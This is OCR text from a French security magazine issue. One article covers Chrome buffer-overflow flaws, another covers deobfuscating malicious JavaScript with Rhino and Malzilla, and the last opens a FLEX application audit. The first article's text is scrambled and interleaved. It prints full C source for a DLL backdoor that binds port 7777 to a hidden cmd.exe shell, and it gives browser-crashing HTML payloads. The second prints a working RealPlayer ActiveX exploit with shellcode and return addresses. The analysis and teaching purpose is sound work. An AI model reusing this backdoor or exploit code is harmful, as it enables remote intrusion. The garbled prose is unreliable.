charge et DLLmain est exécuté selon les conventions propres aux Dynamique Link Librar y.2993070. nous pourrions finalement réduire la foultitude d'explications complexes à quelques idées maîtresses. Ef fectivement. cette source de DLL codée en C est idéale. path=""c:\dossier\ S'il fallait vulgariser les principes propres à l'exécution d'un programme quelconque.refresh(). Que ce soit IOS. ils s'emploient tous aux Tableau 2 Un débordement de tampon typique 1 h h 24 2 t t 3 t t 4 p p 5 : : 6 / / 7 / / 8 h h 9 a a 10 k k 11 i i 12 n n 13 9 9 14 . c'est un rootkit windows à moindre coût :) Au mois de Mars 2007. Test acid2 sous Opera et Chrome (résultat identique) Note : Le numero du channel peut être recuperé en listant les différents processus de chrome. Nous ajoutons aussi une fonction sur le modèle précédent about : et une chaîne de caractères trop longue (considerez plusieurs milliers de caractères afin de contraindre au DoS) : <a href="EVIL:%">link</a> about:% <a href="/crash/crash/crash/[.

// Sur le thread closesocket( sck ).hThread ). // Null par défaut &si. // Flag Null NULL. une commande FTP. on termine) if( bind( sck. Jusqu'ici tout va bien. ( LPSOCKADDR )&sAddr. Après analyse.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW. En théorie et selon le degré du débordement.hProcess ). etc. // Aucune ligne de commande de base NULL.h> #include <stdio. une adresse Web dans un navigateur. // Eradication du socket return TRUE. // InPut & OutPut pour redirection sur Handle du socket si. Au-delà de ce volume. 0 ).lib' #pragma comment (lib. le code est compilé et le programme se retrouve sur des dizaines de milliers de machines éparses dans le monde et l'Internet. si. ExpliquonsListing 1. sizeof( sAddr ) ) == INVALID_SOCKET ){return TRUE.cb = sizeof( si ).. puisque chacun profite des avantages d'une pareille architecture (sur laquelle repose l'ensemble de l'informatique moderne). // Port sAddr. on imagine 17 octets seulement). les administrateurs réseau (aussi les particuliers) se sont retrouvés face à un problème particulièrement intéressant : les débordements d'allocations mémoire (BOF). IPPROTO_TCP. // Constructeur Info sur service CMD STARTUPINFO si. 5 ). Une BackDoor au sein d’une DLL #define WIN32_LEAN_AND_MEAN #define MAX 256 //#include <windows. durant chaque session. CloseHandle( pi. nous ne traiterons que de l'esprit théorique sans aborder les pertinences. Elle pourrait correspondre à un login/ password.lib") // Le port que nous utiliserons int port = 7777. // Sur le process CloseHandle( pi.hProcess. sizeof( si ) ). // Constructeur rapport serveur PROCESS_INFORMATION pi. comprendre n octets. dont le second ne respecte pas un volume déclaré (pour notre exemple.hStdError = ( HANDLE )sck. Dans le code source. De nombreux articles ont été consacrés à cette vulnérabilité et à son exploitation.exe". // Attributs du Thread NULL. Néanmoins. la conclusion était inéluctable.sin_family = AF_INET.Link > Object/Library modules 'Ws2_32.h> #include <winsock2. LPVOID lpReserved) { if( lol != DLL_PROCESS_ATTACH )return TRUE. Or.} // Ecoute du socket avec un maximum de 5 requêtes simultanées listen( sck.hStdOutput = ( HANDLE )sck. // Flag // Acceptation d'un client éventuel sans restriction sAddr. SOCK_STREAM.LE NAVIGATEUR INTERNET SELON GOOGLE mécaniques identiques afin d'exécuter un programme. un déni de service (DoS). Attardons-nous un court instant sur le principe de cette ambiguïté. // Constructeur Info de démarrage CMD WSAStartup( 0x0202. WSADATA wsa. il n'est pas rare de rencontrer une pareille faille dans une application quelconque. Dès le début des années 2000.s_addr = INADDR_ANY. autant que navrante. En conséquence. // Sur le socket WSACleanup(). NULL ). nous apportons une dénomination pratique à cette allocation.h> // Project . on rend la main . // On rend la main } nous. // sizeof si.sin_port = htons( port ). // En cas d'évènement ou erreur. // Option masquée de la console si. "cmd. // Version 2 du socket Win32 memset( &si. si. NULL. // Null par défaut TRUE."Ws2_32. aujourd'hui encore.wShowWindow = SW_HIDE.Settings . sck = accept( sck. // Constructeur socket SOCKADDR_IN sAddr. il est logique d'en percevoir les faiblesses intrinsèques. en l'occurence tampon. NULL. // Initialisation de &si à 0 si. Les semaines passent. // Null par défaut NULL. // Pointeur PROCESS_INFORMATION // Attente d'un évènement sur le process CMD sans limite de temps WaitForSingleObject( pi. DWORD lol. // Notre service CMD NULL. Nous vous renvoyons à d'autres articles disponibles sur l'Internet. nous nous retrouvons avec un problème de type débordement de tampon 1/2009 HAKIN9 25 . les utilisateurs de l'application définissent l'allocation tampon.. Afin de simplifier notre étude. sAddr. BOOL APIENTRY DllMain( HINSTANCE hModule. &wsa ). l'une des allocations de mémoire réclame un volume de n octets. Mais que se passet-il lorsque l'entrée dépasse le volume qui lui est accordé. D'ailleurs. CreateProcess( NULL. // Pointeur STARTUPINFO &pi ). 0. INFINITE ). Illustrons notre explication par deux modèles URL. // Point de communication (ou s'il y a un problème. C'est d'ailleurs le cas du navigateur Chrome. il se produit un décalage important dans la pile. En théorie. // Constructeur wsa SOCKET sck. la perception claire de cette vulnérabilité est simple à acquérir. c'est l'utilisateur prochain du programme qui définira cette entrée grâce à une chaîne de caractères. Le chaos résultant de cette mécanique provoque un arrêt du programme. De plus.sin_addr.hStdInput = ( HANDLE )sck. le travail de développement est achevé. // Adresse Internet selon 4 octets // On accepte le client pour le rapport distant sck = WSASocket( AF_INET. Imaginons une application au stade du développement comme Chrome. 0. Les habitudes de programation (notamment en C/C++) étaient extrêmement discutables.

Comment est-ce possible ? Lorsque le débordement s'emploie à utiliser plusieurs centaines (voire des milliers) d'octets. • Le paradoxe du libre selon Google Au début du mois de Septembre et après l'indignation d'un bon nombre d'internautes soucieux des droits de chacun. Le rEIP de la pile dynamique est écrasé. irrévocable. ainsi qu'avec d'autres concepteurs de site Web afin de concrétiser le véritable potentiel des standards sur Internet. Le plus connu de tous est le test nommé Acid2 qui affiche un smiley selon efficacité. nous avons illustrer notre exemple via des volumes très faibles. Pour des raisons de formatage du texte. reprenons notre explication figurant dans notre introduction afin de démontrer que l'exploitation d'un BOF engage la mécanique complexe propre à l'informatique contemporaine : • • • Une allocation de mémoire est débordée. Il y a avait présentement un certain paradoxe concernant les droits d'auteur et les logiciels libres. auparavant le texte était beaucoup plus permissieux. Beaucoup ont été particulièrement surpris de considérer les attributions que Google s'accordait. Note : Notez que nous avons utilisé l'expression en théorie dans le précédent paragraphe. traduire. Cette licence a pour seul but de permettre à Google d’afficher. modifier. Certes. publier. la notion de débordement de tampon (ainsi que l'allocation de mémoire) sous-entend bien souvent des volumes beaucoup plus important. Aujourd'hui. de logiciels d'édition de site Web. Le WaSP collabore avec les éditeurs de navigateurs Web. Google est revenu sur les termes et obligations exprimés dans la licence d'utilisation CLUF (en français EULA). la stabilité du programme est compromise.. publié ou affiché sur les Services ou par le biais de ces derniers. adapter. il est possible d'exploiter cette faille afin d'exécuter des commandes autrement interdites en profitant des droits accordés au programme vulnérable. en effectuant les étapes techniques requises pour fournir les Services à nos utilisateurs.DOSSIER (en anglais buffer overflow). présenter en public et distribuer tout Contenu que vous avez fourni. de distribuer et de promouvoir les Services et peut être révoquée pour certains Services. 11. Cette politique permet de réduire le coût et la complexité du développement de sites web. vous accordez à Google une licence permanente. Nous faisons figurer un extrait de l'ancienne licence : • 11. Les résultats sont révélateurs du respect des standards du Web.)En fournissant.2 Vous admettez que cette licence inclut le droit pour Google de rendre ce Contenu disponible pour d’autres sociétés.. selon les dispositions des Conditions supplémentaires applicables à ces Services. les 3 derniers caractères sont de trop. le décalage est tel qu'il vient écraser le rEIP. Vous remarquerez facilement qu'il est possible d'entrer une chaîne de caractères bien supérieure à la variable définie. Test du WaSP Le Web Standards Project (WaSP) est un groupe de concepteurs de sites web professionnels qui promeut l'utilisation des standards recommandés par le World Wide Web Consortium (W3C). publiant ou affichant le contenu. gratuite et non exclusive permettant de reproduire. Le WaSP est donc à l'origine de plusieurs tests qui confirment ou infirment la pertinence d'un navigateur. Notre précédente explication concluait à un DoS. il convient de jumper sur un segment de la chaîne de caractères (notre allocation tampon) qui comporte un shellcode. publiez • 26 . ainsi que le droit d’utiliser ce Contenu en relation avec la mise à disposition de ces services.3 Vous reconnaissez que Google. FireFox et Google Chrome (notez les résultats IE qui sont affligeants de médiocrité). le Web Standards Project milite pour les usages des standards sur la Toile. organisations ou individus partenaires de Google pour la mise à disposition de services syndiqués. comprendre 17 octets (voir Tableau 2). des dispositifs. mondiale. Créé en 1998. Néanmoins. ou affichez sur les Services ou par le biais de ces derniers. Si le volume exact est clairement identifié. Vous reconnaissez que cette licence autorise Google à entreprendre ces actions. Or. on peut lire le texte suivant (nous citons) : • 11Licence relative à votre ContenuVous conservez les droits d'auteur et tous les autres droits en votre possession vis-à-vis du Contenu que vous fournissez. des services ou des médias.1(. Il nous reste encore à citer le problème majeur d'un code de cet acabit. La variable TITLE doit contenir plusieurs milliers de caractères. Un flux de commandes et fonctions est exécuté. En théorie. Lorsqu'un internaute tente de copier et de lire une page HTML comportant un titre beaucoup trop long. cette vulnérabilité constitue sous Chrome un véritable cas d'école tant elle est facile à mettre en œuvre et à exploiter. 11. Nous ferons figurer en référence les navigateurs Opera. le débordement permet d'écraser le rEIP et d'exécuter une ShellCode malin. Néanmoins. Celui-ci est exécuté avec les droits de l'application vulnérable. comprendre le registre de pile correspondant à l'adresse de retour sur instruction. HAKIN9 1/2009 Dans notre cas. le navigateur Chrome est vulnérable à un débordement de tampon sur la variable TITLE d'une page Web. En conclusion. Durant l'exploitation d'un BOF. peut (a) transmettre ou distribuer votre Contenu sur divers réseaux publics ou dans divers média et (b) apporter les modifications nécessaires à votre Contenu en vue d’adapter ce Contenu aux exigences techniques liées à la connexion des réseaux. l'entorse est corrigé mais il traduit bien les ambitions du groupe. un débordement peut redéfinir la variable de 4 octets contenue dans le rEIP afin de rebondir sur une portion de code supplémentaire.

milw0rm. Patience. La leçon est pourtant facile à comprendre : il reste toujours de la place pour une nouvelle application. Nous citonc donc le quotidien Berliner Zeitung : Google Chrome ne doit pas être employé pour un usage d'ordre général. etc. Plus que tout autre chose. mais il faut vraiment progresser et garantir un travail de qualité avant de détroner les mastodontes que sont FF9 et consorts. Le porte-parole de l'autorité fédérale a aussi déclaré que pour des raisons de sécurité technique.com/exploits/6355 – Automatic file download. Sicchia Didier Sicchia Didier est à l'origine de nombreux exploits.milw0rm.fr 1/2009 HAKIN9 27 . patience. les RootKits. En vérité.com/exploits/6367 – Remote BOF exploit.html. Souvenons-nous que dans un registre identique. les débordements d'allocations de mémoire. aurait-il fallu attendre une progression dans le dévelopement avant de livrer le bel outil au domaine public ? Ajoutons que l'autorité allemande de sûreté des techniques d'information (BSI) a mis en garde les utilisateurs du navigateur Google Chrome contre un usage trop fréquent.com/exploits/6554 – Memory exhaustion.aspx.org/wiki/Dépassement_de_tampon.com/exploits/6365 – Remote silent crash. la majorité des utilisateurs des navigateurs FireFox ou Opera sont des personnes auparavants déçues par les failles et faiblesses multiples du browser Microsoft Internet Explorer.html.milw0rm. à moins d'être particulièrement insouciant. http://www.com/exploits/6386 – Inspect element DoS. Articles concernant les débordements de tampon : • • http://fr. son expérience se porte notamment sur les shellcodes.sicchia@free.milw0rm. Peut-être. http://www. Article concernant l'injection d'une librairie sous Chrome : • http://blogs.codes-sources.org.webstandards. Pour contacter l'auteur : didier. Site officiel Google Chrome : • http://www. Site officiel du WaSP : • http://www. http://www.fr/ressources/breves/stackoverflow-exploit. le navigateur Chrome est une bien intéressante initiative qui dispose d'une foultitude de bonnes idées notamment (point principal) la ségrégation des droits de chacun des onglets.milw0rm.hsc. dossiers et articles divers pour plusieurs publications francophones consacrées à la sécurité informatique et au développement.fr. c'est l'esprit alternatif de la communauté UnderGround qui le motive. encore faut-il occulter ce problème de licence très ennuyeux et qui figre une perception du libre bien discutable. http://www. http://www. Néanmoins. l'affaire reste à suivre de très près avant de se lancer à cœur perdu dans les applaudissements et les louanges.milw0rm. Autodidacte et passionné.com/exploits/6372 – HREF denial of service. l'accumulation de données par un fournisseur pose problème. http://www. Reste qu'il faut encore attendre avant de se faire une opinion valable sur le grand intérêt de cette application. beaucoup de bugs et failles diverses viennent ruiner les joies premières qui surviennent après installation.google. Conclusion En toute objectivité. Effectivement. Certes. fort de sa popularité.Sur Internet • • • • • • Voici une liste des failles découvertes sur le navigateur Chrome et évoquées dans notre article : http://www.com/ebartsoft/rss. l'avenir se montre particulièrement radieux pour Google et son navigateur. En conclusion.com/chrome/index.wikipedia. son stade de bêta ne correspond aucunement au attente d'un public averti et soucieux de son intégrité électronique.

les extensions de l'application (ActiveX notamment) sont sensibles à une exploitation malveillante et quelconque. De ce fait. afin d'identifier la menace. "G") GomWebCtrl. Comment utiliser des outils Open Source afin d'automatiser la désobfuscation des codes Javascript malicieux.. "G")). Script malicieux. var GomManager = new ActiveXObject("oq7ejgoMT hbbeFlnVadR30DBeSX2omWebCtrl. il est très difficile d'établir une signature quelconque. A fin de contourner les systèmes de protection IDS/IPS ou AV. exploitation de faille critique. Le caractère furtif de l'attaque est ainsi optimal! Depuis peu. dans cet article en 3 parties. on parlera de camouflage du code. Exemple avec Rhino # rhino Rhino 1.oq7ejgoM ThbbeFlnVadR30DBeSX2omManager. [object Object] js>"oq7ejgoMThbbeFlnVadR30DBeSX2omWebCtrl. oq7ejgoMThbbeFlnVadR30DBeSX2omManager. 28 HAKIN9 1/2009 Tous les scripts obfusqués ne sont pas malicieux.GomManager.. une personne malveillante peut avoir recours aux techniques d'obfuscation. nous allons fournir quelques exemples trouvés sur Internet et dont la permissivité est volontairement graduelle.\50\51\73") </script> ."+"S"+"t"+ "r"+"e"+"a"+"m". Connaissances de base du langage Javascript. mais certaines compagnies ou particuliers utilisent ces méthodes. Dès lors. Ne sombrons pas dans la paranoïa compulsive! Néanmoins. Listing 2. il est vrai qu'il n'est pas courant d'obfusquer un contenu Web.7 release 1 2008 03 06 js> document={write:print}. Pour aider à cette tâche. le code a été découpé pour plus de clarté : <sCrIpT lAnGuAgE="jAvAsCrIpT"> eval("\146\165\156\143\164\151\157\156\ 40. une nouvelle version est présentée (à noter que cela est souvent le cas pour les fichiers exécutables). alors que le noyau principal ne pose aucun problème. Cependant ils ne font pas tout le travail. Ces méthodes sont le plus souvent combinées ensemble afin d'obfusquer les scripts plusieurs fois. les gestionnaires de scripts ont posés de très sérieuses difficultés.DOSSIER DAVID MACIEJAK Obfuscation Degré de difficulté de code javascript (partie 1) Parfois. Afin de désobfusquer les scripts ? CE QU'IL FAUT SAVOIR.. chaque fois que le script est téléchargé pour exécution. Nous allons aussi Listing 1.1 CET ARTICLE EXPLIQUE.. d'étudier les scripts (citons par exemple Malzilla et Rhino).. nous voyons apparaître des techniques d'obfuscation dynamique (comprendre polymorphique et côté serveur).1" . etc). replace (/oq7ejgoMThbbeFlnVadR30DBeSX2 / ig. Ainsi. des outils ont été développés pour permettre aux analystes Listing 3. Ainsi. Connaissances de base du fonctionnement des composants ActiveX.replace(/oq7ejgoMThbbeFlnVadR30DBeSX2/ ig.. Plusieurs fois par le passé. Comment les instanciations ActiveX peuvent être cachées en utilisant un code Javascript.1". Obfuscation basique de chaînes de caractères var cuteqqado="A"+"d"+"o"+"d"+"b. une analyse minutieuse du script s'impose afin de prévenir une exécution malveillante (virus. Pour illustrer le principe de la façon la plus simple.

Il y a deux façons distinctes de charger ce genre de composant. Débuguer un script avec Malzilla 1/2009 HAKIN9 29 . la définition provenant de Wikipedia : Component Object Model.JAVASCRIPT OBFUSCATION expliquer comment avoir un accès rapide à l'information importante durant le traitement du code. Instanciation des composants ActiveX Pour commencer. Ci-dessous. nous allons fournir des détails sur la méthode afin de charger un composant ActiveX dans le navigateur.GomManager. Il est utilisé en programmation pour permettre le dialogue entre programmes. sachant que l'un est d'utiliser le CLASSID et l'autre le ProgID . Le langage Javascript dispose aussi de la méthode ActiveXObject pour charger les composants ActiveX en se basant sur le ProgID : var GomManager = new ActiveXObject ( "GomWebCtrl. Vous devez savoir que cette technologie ne fonctionne normalement que sur les plates-formes Microsofts et seulement grâce à l'utilisation d'Internet Explorer ou du navigateur Google Chrome (il manque encore de stabilité dans ce domaine précis). dans notre exemple "wwwcuteqqcn" . Onglet Decoder de Malzilla </OBJECT> 0426-454F-8013-C41E3596E9E9}"> Le composant est alors instancié dans le navigateur et peut être référéncé par le nom ID. aussi connu sous le nom de ActiveX est un composant logiciel (comme les DLL) créé par Microsoft.1"). Sheet") Figure 3. Le langage HTML fournit la balise OBJECT pour charger un composant ActiveX à partir du CLSID comme dans l'exemple ci-dessous : <OBJECT ID="wwwcuteqqcn" Figure 1. Écran principal de Malzilla Classid="clsid:{A7F05EE4- Figure 2. La méthode VBscript correpondante se nomme CreateObject et peut être utilisée ainsi : dim myexcel Set myexcel=CreateObject("Excel.

if(user..IERPCtl. Note 1 : Rhino interprète seulement le Javascript.Import("c:\\Program Files\\NetMeeting\\TestSnd.length<0x8000)PayLoad+="YuanGe". voici quelques exemples qui peuvent être trouvés sur Internet (voir Listing 1). Real. renommer les variables/fonctions.0. i<10. i<6. La clé HKLM est la suivante : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Internet Explorer\ActiveX Compatibility<CharStyle:FOREIGN> CLSID of the ActiveX control CLSID of the ActiveX Control est l'identifiant de classe du contrôle ActiveX.0.")!=-1) { for(i=0.wav". try { Real=new ActiveXObject(VulObject) } catch(error) { return } RealVersion=Real. i++) Padding+="S". Cette dernière méthode est nommé “position kill bit” ."".")==-1)return.0.toLowerCase(). mais aussi afin de contourner les détections éventuelles.toLowerCase()=="zh-cn")ret=unescape("%7f%a5%60"). mais malheureusement beaucoup plus astreignante et complexe sur des scripts malicieux. La raison est simple : ils utilisent plusieurs couches d'obfuscation forte. Padding=Padding+ret } else if(RealVersion.indexOf("msie 7")==-1)return.1".5P". changez la valeur du Compatibility Flags à 0x00000400 (vous aurez besoin de la créer si elle n'existe pas déja). Listing 4.DOSSIER Notez que les attaquants utilisent des méthodes permettant de masquer les chaînes de caractères afin de compliquer l'étude des analystes. Afin d'appliquer cette option préventive.0. il faut utiliser l'éditeur de la base de registre pour modifier la valeur du Compatibility Flags correspondante à notre ActiveX.0. découper les chaînes.userAgent. else if(RealVersion=="6. c'est une implémentation Open Source du moteur Javascript écrit entièrement en Java.14. Note 2 : Vous pouvez toujours utiliser quelques add-on pour votre navigateur afin de débuguer “pas à pas” le script (comme Firebug or Venkman pour Mozilla Firefox). Shell="TYIIIIIIIIIIIIIIII7. La dernière version de Rhino disponible actuellement est la version 1. i<32*148.indexOf("nt 5. else if(RealVersion=="6.indexOf("6. Padding="".11.")!=-1) { for(i=0..indexOf("msie 6")==-1&&user. La solution la plus rapide est d'utiliser des outils dédiés à cette tâche. ainsi le script est écrit une nouvelle fois entre chaque boucle de désobfuscation. i++)Padding=Padding+JmpOver. L'exploit Realplayer function RealExploit() { var user=navigator. Une fois cette clé identifiée.PlayerProperty("PRODUCTVERSION"). vous ne pourrez pas automatiser cette tâche.indexOf("6. else if(navigator.550")ret=unescape("%63%11%04%60"). Or. Nous allons présenter dans cette partie l'utilisation de Rhino et Malzilla. Outils pour la désobfuscation } RealExploit(). while(PayLoad. else if(RealVersion=="6. PayLoad=Padding+AdjESP+Shell.14.")==-1) { if(navigator. VulObject="IERPCtl. JmpOver=unescape("%75%06%74%04"). i++) Padding=Padding+JmpOver.552")ret=unescape("%79%31%01%60").")!=-1) { for(i=0. La solution est de mettre à jour le software vulnérable ou de le supprimer.14.0.userLanguage.indexOf("6. Les méthodes sont diverses : • • • • supprimer les sauts de lignes. Padding=Padding+ret } else if(RealVersion.10. i++) Padding=Padding+JmpOver. Cette méthode est efficace sur des scripts simples. ajouter du code qui n'est pas utilisé.536")ret=unescape("%51%11%70%63"). if(RealVersion. else return. Vous devez tout d'abord nettoyer le fichier que vous voulez fournir à Rhino en supprimant les nombreuses balises 30 HAKIN9 1/2009 .544")ret=unescape("%63%11%08%60").14. i++) Padding=Padding+JmpOver. Padding=Padding+ret } else if(RealVersion. else if(RealVersion=="6.14. Nous pourrions jouer avec des scripts Perl ou modifier le code Javascript pour y ajouter des appels à la fonction Alert() afin de les débugger mais ces méthodes prennent beaucoup de temps.indexOf("6. else return } else if(RealVersion=="6.14.userLanguage.7 Rhino fournit un shell interactif afin de débuguer les scripts.0. i<9. Nous présenterons quelques conseils afin de faciliter ce processus dans une prochaine partie. Rhino est disponible sur Internet [2].0. if(user.14. Padding=Padding+ret } AdjESP="LLLL\\XXXXXLD".0) Ainsi. On peut aussi restreindre l'utilisation des ActiveX afin d'éviter toute compromission.0.543")ret=unescape("%79%31%09%60").0. if(RealVersion. for(i=0. si vous avez besoin de vérifier du VBScript.PayLoad.12.0.toLowerCase()=="en-us")ret=unescape(" %4f%71%a4%60").")!=-1) { for(i=0. i<4.indexOf("6.

.

A présent. il peut être utile dans certains cas de manipulation de chaînes de caractères. vous aurez juste besoin de surcharger la fonction eval() par print(). Le résultat est par défaut dirigé vers la sortie standard. Il est aussi très courant de trouver sur Internet des combinaisons de eval(unescape(. Si vous avez déja le script vous pouvez le copier/coller dans la fenêtre prévue à cet effet comme indiqué dans la Figure 1. Cliquez sur Send script to Decoder pour copier/coller automatiquement le code vers l'onglet Decoder. Quelques fois. La ligne suivante a besoin d'être ajouté au début du script : document={write:print}. Elle rédirige tous les appels à document. La plupart du temps. De l'onglet Decoder. les scripts utilisent la fonction document.9. Indentation de code dans Malzilla Figure 5. Maintenant. vous disposez uniquement du code. cela est notamment le cas pour le paquet de Dean Edward que nous verrons dans une autre partie. nous allons voir comment utiliser le décodeur pour le désobfusquer. Note : l'onglet Misc Decoders est aussi disponible. Nous pouvons alors le Figure 4. Malzilla peut être utilisé comme un navigateur pour télécharger un fichier Internet.write() vers la fonction print(). Plus simple encore.)). Maintenant que le code a été chargé dans Malzilla. La dernière version disponible actuellement est la 0. Comme il n'y a pas de fonction permettant de convertir directement la base octale. Il peut aussi être utilisé avec l'option -f permettant de lui passer un fichier directement en ligne de commande. nous pouvons lire du code compréhensible. Voir l'exemple Listing 2. cochez Override eval() et cliquez directement sur le bouton Run script .. nous allons aborder la méthode afin de décoder cette chaîne et identifier la menace.2. comme vous pouvez le voir. Comme Rhino n'implémente pas cet objet. les balises ont l'air étrange car elles utilisent en alternance les caractères majuscules et minuscules. il va falloir utiliser la même méthode que Rhino (comprendre changer la fonction eval() en une fonction permettant l'affichage). ils vérifient que le navigateur est bien IE. Nous pouvons utiliser la commande Replace eval() with print ou surcharger par un appel à document. En premier lieu.DOSSIER HTML. Vous pouvez choisir le User-Agent et positionner le Referer (particulièrement utile depuis que certains sites malicieux testent ces valeurs). La chaîne évaluée sera affichée dans la partie basse de Malzilla comme le montre la Figure 3. Malzilla est disponible sur Internet [3]. Généralement.write() pour écrire le code dans le navigateur.4 (Listing 3). Nous pouvons considérer dans cette exemple que le résultat final est directement affiché par Rhino. Dans le Listing 3.. la façon la plus rapide est de surcharger la fonction par la fonction print() de Rhino qui a pour effet d'écrire sur la sortie standard. Concaténation automatique dans Misc Decoders de Malzilla 32 HAKIN9 1/2009 .write et cliquer sur le bouton Run script. Le code HTML et les tags seront supprimés comme le montre la Figure 2. le corps du script aussi contient un appel explicite à la fonction eval() avec pour argument une chaîne de caractères en base octale.

le code malicieux positionne la variable Shell. Le résultat est une version pleinement fonctionnelle de l'original (voir plus en détail [4]).I"+"ERP"+ "Ctl. David Maciejak David Maciejak travaille pour la société Fortinet en tant que Security Researcher. Dans notre exemple. nous avons identifié un code hostile ! Quelle est la nature de cet exploit? Pour répondre à cette question. nous sommes en présence d'un shellcode encodé. Le code sera décodé lors de l'exécution. on trouve les détails d'une vulnérabilité dans RealPlayer ierpplug. nous devons analyser le shellcode (c'est une petite partie de code utilisé comme charge active dans l'exploitation des vulnérabilités).JAVASCRIPT OBFUSCATION copier/coller dans l'onglet du Decoder et cliquer sur le bouton Format Code pour l'indenter automatiquement comme le montre le Figure 4. Celle-ci contient une longue chaîne de caractères essentiellement alpha-numérique. fait certaines opérations dépendant de la version de RealPlayer. Grâce à cet exercice. 1/2009 HAKIN9 33 .IERPCtl.1". Nous disposons d'un script beaucoup plus lisible. Elle camoufle les shellcode x86 afin de ne contenir que des caractères 0-9 et A-Z. Le Listing 4 illustre le script final. la ligne 6 est : VulnObject="IER"+"PCtl.dll ActiveX référencé sous CVE2007-5601 . Cette méthode se nomme alpha encoding. Il contient une fonction nommé RealExploit : • • • qui créée un ActiveXObject "IERPCtl. appel une méthode nommé Import . En fait. Son travail consiste à suivre l'évolution des vulnérabilités et aussi de fournir une protection adéquate selon les profils des utilisateurs. En cherchant sur Internet. La dernière étape consiste à copier/coller le code dans l'onglet Misc Decoders et d'utiliser la commande Concatenate (voir Figure 5).1". En finalité. il s'agit du modèle que nous venons de considérer.

Notre étude mettra en lumière les problèmes d'insécurité et leurs impacts. les éléments proviennent de structures CDATA . Integrated Working Model FLEX [RIA] : Vue d'ensemble CET ARTICLE EXPLIQUE. Tout au long de cet article. Les nouvelles techniques qui permettent de compiler/ décompiler les fichiers SWF.. Les applications AIR sont écrites sous FLEX Builder. les failles relatives aux applications proviennent d'un code source mauvais ou insuffisamment sécurisé. MX est la convention utilisée pour désigner la conception de l'application. L'URI est indiquée avec XMLNS: MX . Une compréhension basique des applications Internet Riches est utile. Ci-dessous. Une connaissance des outils d'audit des applications Internet Riches est un avantage. la complexité des applications s'est accrue avec la technologie mais il faut toujours veiller à leur robustesse afin d'éviter les attaques. L'exécution des applications nécessite l'installation de l'environnement approprié. dans l'environnement d'Adobe. La phase de développement est donc primordiale. Certes.DOSSIER ADITYA K SOOD RIA I Failles relatives à code source des applications FLEX Degré de difficulté Cette étude porte sur les failles relatives à la conception des applications FLEX du point de vue du programmeur. Ce modèle sert de point de départ à la création d'applications RIA. Une étape essentielle est la génération simultanée du fichier XML avec l'ensemble des instructions de notre fichier méthode. la balise <MX: Windowed Application> est utilisée. Les méthodes d'audit avec description des outils utilisés. Ci-dessous. une présentation du modèle intégré. La seule différence réside dans leur déploiement. Les composants standards et les applications AIR sont conçues sous FLEX selon ce modèle (Figure 1). Le namespace est indispensable pour indiquer le standard selon lequel les applications fonctionnent.. 34 HAKIN9 1/2009 Les applications peuvent être lancées sur plusieurs plateformes : Windows.. la balise <MX: Script> est utilisée. Prenons l'exemple d'AIR. L'Application Internet Riche (RIA) est un framework multiplateforme qui permet d'exécuter des applications côté serveur (ex : applications de bureau). Il y a un grand nombre de problèmes qui se posent lorsqu'on souhaite concevoir une application FLEX à la fois sécurisée et efficace. Les phases de test et d'audit des applications Internet Riches. FLEX est adapté au développement d'applications AIR. Vue d'ensemble CE QU'IL FAUT SAVOIR. À l'opposé les scripts de type CSS sont appelés par la balise <MS: Style>. Le développement d'applications orientées bureau se base sur les technologies Web. En règle générale les applications AIR sont considérées comme des applications basées sur Flex.. FLEX est un framework de conception d'applications prévues pour flash player [SWF] et Adobe Run Time environment [AIR]. Le comportement d'une application dépend de son code source. un code type que vous pouvez obtenir (Affichage du code Figure 2) : . Dans ce script. Nombre d'objets sont appelés par l'intermédiaire de cette balise. Pour implémenter du code ActionScript. En règle générale. La tendance est au changement et les évolutions dans ce domaine sont versatiles. Les applications AIR sont exécutées en tant qu'applications de bureau autonomes. Linux et Mac OS. elles sont lancées grâce à un seul paquetage. l en résulte que la couche applicative est permissive aux attaques. Lorsque vous débutez la création d'une nouvelle fenêtre.

} this. Un processus est créé dans la mémoire à chaque exécution.prototype. 1).stub = false.myOnSetFocus(). surtout s'il s'agit d'une application importante.attachMovie('FLabelSymbol'.attachMovie('fpb_states'. Donner une valeur au paramètre temps permet d'améliorer l'analyse d'une partie du code en effectuant une mesure basée sur le temps d'exécution du processeur.drawFrame(). this.boundingBox_mc.label).initContentPos('fLabel_mc').registerClass('FPushButtonSymbol'. alors flashplayer. if (arguments. Il y a notamment le codage et la procédure d'exécution. this.hitArea = hit. this. Figure 3). this.get_accDefaultAction = this._accImpl. La taille de l'application est elle aussi un élément important. 3).com/2008/mxml layout="absolute" <mx:WindowedApplication xmlns:mx=http:// <mx:Label text="AIR Security Checks" horizontalCenter="0" verticalCenter="0"/> title="AIR Security Checks"> pour l'audit des applications FLEX (cf.setSize(w.clickHandler). si le flash player est utilisé.get_accRole. Pour des fonctionnalités avancées et la conception de composants._height = h. etc.0" encoding="utf-8"?> www. FPushButtonClass)._accImpl.setSize = function (w._width. this._height. Nous allons commencer par examiner le processus d'initialisation lors du chargement d'une application SWF avec le flash player Listing 1. par exemple : la RAM.master = this. this. h). this. hit.get_accDefaultAction. hit.prototype. En règle générale le temps écoulé est intéressant pour l'optimisation.width. FPushButtonClass. h) { w = w < 6 ? 6 : w. }. Cette vue d'ensemble présente la manière dont les applications sont générées sous FLEX. FPushButtonClass. Nous allons discuter des erreurs de codage et l'impact que peuvent avoir des failles de sécurité sur votre système._accImpl. Cela permet de vérifier les ressources nécessaires à un composant lorsque l'application est exécutée en tant que processus. Pendant la phase de test de l'application FLEX.setLabel(this. Pendant l'exécution. </mx:WindowedApplication> L'application est conçue de la manière suivante : L'affichage se fait grâce à un simple label texte.ROLE_SYSTEM_PUSHBUTTON = 43. this.label != undefined) { this.focused) { super.setSize(this.setSize(this.get_accName = this. }.length > 1) { if (h < 6) { h = 6.get_accName. this.init = function () { super.accDoDefaultAction = this._accImpl.STATE_SYSTEM_PRESSED = 8.adobe._height). } } super.length > 1 ? h : hit. Vision Analytique Un code bien conçu permet d'avoir des applications FLEX optimisées.accDoDefaultAction. }. l'utilisation des ressources est toujours surveillée de près. this. 'fLabel_mc'. this. this. Il sera difficile d'effectuer des essais sur l'ensemble de l'application. this.arrangeLabel(). this. if (this. hit. super.0. this. this._yscale = 100._accImpl. FPushButtonClass.btnState = false._height = arguments.get_accRole = this. 'fpbState_mc'.get_accState.prototype.setHitArea = function (w. Nous passerons par notre modèle pour la phase d'optimisation : On adoptera une approche descendante à la fois pour le test et aussi movieClip 37 FPushButtonSymbol { #initclip function FPushButtonClass() { this.get_accState = this. L'optimisation côté client dépend de plusieurs 